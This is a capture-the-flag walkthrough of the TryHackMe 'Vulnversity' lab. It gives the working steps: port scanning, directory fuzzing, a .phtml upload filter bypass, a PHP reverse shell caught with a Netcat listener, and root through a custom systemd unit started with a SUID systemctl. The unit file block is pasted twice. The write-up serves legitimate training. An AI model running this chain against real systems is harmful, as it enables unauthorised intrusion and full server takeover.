TryHackMe: Vulnversity CTF Walkthrough

Welcome to my latest CTF write-up! Documenting these machines is a great way to reinforce core penetration testing methodologies and track practical progress. Today, I am walking through the "Vulnversity" room on TryHackMe.

This room is an active reconnaissance, web application security, and Linux privilege escalation exercise. It covers port scanning with Nmap, directory brute-forcing with Gobuster, bypassing web upload extension filters with Burp Suite, and abusing SUID binaries with systemctl to gain root access.

1. Reconnaissance & Port Scanning

As with any machine, I started with an Nmap scan to identify all open ports, running services, and operating system details.

I executed the initial scan: nmap -sC -sV -oN nmap.txt <TARGET_IP>

The scan revealed 6 open ports:

• Port 21: FTP (vsftpd 3.0.3)
• Port 22: SSH (OpenSSH 7.2p2)
• Port 139 / 445: SMB (Samba)
• Port 3128: HTTP Proxy (Squid 3.5.12)
• Port 3333: HTTP Web Server (Apache 2.4.18)

Key reconnaissance findings:

• Q: Scan the box, how many ports are open?
• Answer: 6
• Q: What version of the squid proxy is running on the machine?
• Answer: 3.5.12
• Q: What is the most likely operating system this machine is running?
• Answer: Ubuntu
• Q: What port is the web server running on?
• Answer: 3333

2. Directory Discovery with Gobuster

Since the web server was hosted on non-standard port 3333, I navigated to http://<TARGET_IP>:3333/ in Firefox. It displayed a university website ("Vulnversity"), but there were no obvious links or login portals on the homepage.

To discover hidden routes and endpoints, I ran Gobuster for directory fuzzing: gobuster dir -u http://<TARGET_IP>:3333/ -w /usr/share/wordlists/dirb/common.txt

Gobuster uncovered an interesting route: /internal/. Navigating to http://<TARGET_IP>:3333/internal/ revealed an upload form. Further inspection also showed an /internal/uploads/ directory where uploaded files are stored.

3. Web Exploitation & Extension Filter Bypass

To obtain a reverse shell, I needed to upload a payload. I grabbed a standard PHP reverse shell script (such as PentestMonkey's php-reverse-shell.php), configured the target listening IP and port, and attempted to upload it.

The web application returned an error stating that .php files are blocked:

• Q: What common file type you'd want to upload to exploit the server is blocked?
• Answer: .php

Fuzzing Extensions with Burp Suite Intruder

To find which executable extensions were permitted, I intercepted the upload request using Burp Suite and sent it to Intruder:

1. In the Positions tab, I set the attack type to Sniper and highlighted the file extension: shell.§php§.
2. In the Payloads tab, I added standard PHP variations:

• .php
• .php3
• .php4
• .php5
• .phtml

Started the attack and observed the response lengths.

The .phtml extension returned a different response length and succeeded without being blocked.

• Q: What extension is allowed after running the above exercise?
• Answer: .phtml

4. Initial Access & User Flag

With the bypass confirmed:

1. I renamed the payload: mv php-reverse-shell.php php-reverse-shell.phtml.
2. Started a Netcat listener on my local attack machine: nc -lvnp 1234
3. Uploaded php-reverse-shell.phtml via the /internal/ form.
4. Navigated to http://<TARGET_IP>:3333/internal/uploads/php-reverse-shell.phtml to execute the script.

The Netcat listener caught the incoming reverse shell as the www-data service user.

I upgraded the shell to an interactive session: python -c 'import pty; pty.spawn("/bin/bash")'

Next, I checked /home to identify local users: ls -la /home

I found the user directory for bill. Inside /home/bill/, I found the user flag:

• Q: What is the name of the user who manages the webserver?
• Answer: bill
• Q: What is the user flag?
• cat /home/bill/user.txt

5. Privilege Escalation to Root (SUID systemctl)

With initial user access secured, the final goal was privilege escalation to root.

I searched for binaries with the SUID bit set (-perm -u=s): find / -perm -u=s -type f 2>/dev/null

Among standard binaries like ping and mount, one critical binary stood out:

/bin/systemctl

• Q: On the system, search for all SUID files. What file stands out?
• Answer: /bin/systemctl

Because systemctl has the SUID bit enabled, it executes with root privileges. Referring to GTFOBins, we can create a custom systemd service unit file that runs a shell command or dumps root files upon starting.

I created a custom unit file in /tmp/root.service:

Ini, TOML

[Unit]
Description=RootPrivEsc
[Service]
Type=simple
User=root
ExecStart=/bin/sh -c "cat /root/root.txt > /tmp/root_flag.txt"
[Install]
WantedBy=multi-user.target

[Unit]
Description=RootPrivEsc
[Service]
Type=simple
User=root
ExecStart=/bin/sh -c "cat /root/root.txt > /tmp/root_flag.txt"
[Install]
WantedBy=multi-user.target

Then I enabled and executed the custom service unit using the SUID systemctl binary: /bin/systemctl enable /tmp/root.service /bin/systemctl start root.service

The service executed /bin/sh as root, dumping the root flag directly into /tmp/root_flag.txt.

Finally, I read the flag: cat /tmp/root_flag.txt

Room completed!

Conclusion & Key Takeaways

"Vulnversity" is an essential laboratory covering realistic multi-stage web and OS attacks:

• Identifying services running on non-standard ports (HTTP on 3333).
• Using directory fuzzing to locate unlinked administrative and upload functionality.
• Automating extension filter testing via Burp Suite Intruder to discover executable formats like .phtml.
• Leveraging misconfigured SUID bits on management tools like systemctl to execute arbitrary commands as the root user.